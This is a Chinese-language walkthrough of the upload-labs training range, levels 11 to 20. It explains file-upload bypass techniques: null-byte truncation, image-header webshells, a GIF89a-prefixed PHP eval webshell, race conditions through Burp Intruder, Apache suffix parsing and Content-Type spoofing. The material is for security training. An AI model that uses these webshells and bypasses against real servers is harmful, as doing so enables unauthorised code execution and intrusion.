声明:本文中所有操作均在合法合规的靶场环境、虚拟环境中进行。
任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具;明知他人从事危害网络安全的活动的,不得为其提供技术支持、广告推广、支付结算等帮助。
一、Pass11 & Pass12:0x00 截断
核心原理
-
%00是 URL 编码的空字节(ASCII 0x00),在 PHP 中遇到空字节会终止字符串处理,实现文件名截断。 -
前提条件:
magic_quotes_gpc = Off(关闭魔术引号,否则%00会被转义为\0,失效),且 PHP 版本 < 5.3.4。
关键区别(GET vs POST)
| 提交方式 | 解码特性 | 操作要点 |
|---|---|---|
| GET 型 | 浏览器会自动对 URL 进行 URL 解码 | 直接在 URL 后拼接 1.php%00,服务器解析为 1.php |
| POST 型 | 不会自动解码%00 |
需在抓包工具中对%00进行手动 URL 解码,右键选择Convert selection > URL > URL-decode |
操作示例
-
上传合法图片文件(如
1.png)。 -
抓包修改文件名 / 路径:
1.php%00.png。 -
放行请求后,服务器实际保存为
1.php,绕过白名单校验。
二、Pass13:图片木马(文件头校验绕过)
核心原理
后端仅校验文件开头 2 个字节(文件头)判断是否为图片,不校验文件内容。我们可以通过文件合并的方式,让文件既保留图片头,又包含 PHP 代码。
制作方法(Windows 命令行)
copy /b image.png + info.php webshell.png
-
/b:二进制模式合并,保留图片文件头 -
效果:文件前半部分是合法图片头,后半部分是 PHP 代码
执行条件
必须配合文件包含漏洞使用,例如:
http://127.0.0.1/include.php?file=upload/webshell.png
文件包含时会解析图片中的 PHP 代码,实现执行。
三、Pass14:getimagesize() 校验绕过
核心原理
getimagesize() 函数会读取文件的宽高信息,成功返回数组,失败返回FALSE并抛出警告。仅靠添加图片头(GIF89a)即可绕过基础校验,无需完整图片。
制作方法
在 PHP 木马文件开头添加 GIF 文件头:
GIF89a
<?php @eval($_POST['cmd']); ?>
上传后文件头被识别为 GIF 图片,函数校验通过,后续 PHP 代码可被解析执行。
四、Pass15:exif_imagetype() 校验绕过
核心原理
exif_imagetype() 会读取文件的第一个字节,校验图片签名(如 JPEG 的FFD8FF、PNG 的89504E47),匹配则返回常量值,否则返回FALSE。
制作方法
-
JPEG 木马:开头添加
FF D8 FF(十六进制) -
PNG 木马:开头添加
89 50 4E 47 0D 0A 1A 0A(十六进制) -
后续拼接 PHP 代码,即可绕过校验。
五、Pass16:二次渲染绕过(GIF 图片)
核心原理
后端会对上传的 GIF 图片进行重新渲染,普通图片马的 PHP 代码会被清除。GIF 格式颜色限制为 256 色,渲染改动较小,适合构造二次渲染不被破坏的木马。
制作步骤
-
上传正常 GIF 图片,获取服务器渲染后的版本。
-
使用十六进制工具(如
010 Editor)对比原图与渲染后文件,找到未被修改的区域。 -
在未被修改的区域插入 PHP 代码,保存为新的 GIF 文件。
-
上传后,配合文件包含漏洞执行代码。
解析报错处理
如果 PHP 代码无法解析,检查php.ini配置:short_open_tag = On需改为OFF。
六、Pass17:条件竞争漏洞
核心原理
服务器逻辑为先保存文件 → 再校验后缀 → 不合法则删除,利用保存与删除的时间差,反复访问未删除的 PHP 文件,实现执行。
操作步骤
-
上传 PHP 文件(如
info.php),用 Burp 抓包。 -
发送到 Intruder,设置
Null payloads(无限发包),让文件反复被创建。 -
同时用浏览器 / 脚本高频访问文件地址:
http://localhost/upload/info.php,抢在删除前执行。 -
建议上传 "生成型木马",执行后在目录生成永久 Shell 文件,摆脱条件竞争限制。
七、Pass18:Apache 解析漏洞 + 条件竞争
核心原理
-
服务器逻辑:先移动文件,再修改文件名
-
Apache 解析漏洞:从后往前识别后缀,不认识的后缀会跳过,最终解析为 PHP。
操作步骤
-
构造文件名:
info.php.7z(.7z在白名单内,服务器校验放行)。 -
上传文件,用 Burp Intruder 无限发包,让文件持续存在。
-
高频访问文件地址:
http://localhost/uploadinfo.php.7z,Apache 会将其解析为 PHP 执行。
八、Pass19:黑名单绕过
核心原理
后端采用后缀黑名单校验,拦截.php/.php2~5/.phtml等后缀,但存在多种绕过方式。
主流绕过方法
-
0x00 截断绕过 :
upload-19.php%00.jpg(PHP<5.3.4 生效) -
特殊后缀绕过 :
upload-19.php/.(Windows 系统会自动剔除末尾的点,还原为.php) -
双后缀绕过 :
upload-19.php.xxx(后端校验最后一个后缀,Apache 向前解析 PHP)
九、Pass20:数组绕过
核心原理
后端仅校验请求头中的Content-Type字段,判断文件类型,不校验文件后缀和内容。
操作步骤
-
上传 PHP 文件,用 Burp 抓包。
-
修改请求头中的Content-Type为白名单内的图片类型:
Content-Type: image/jpeg -
修改save_name0的内容为upload-20.php/
-
创建save_name2,内容为jpg
-
放行请求,服务器校验通过,文件成功上传。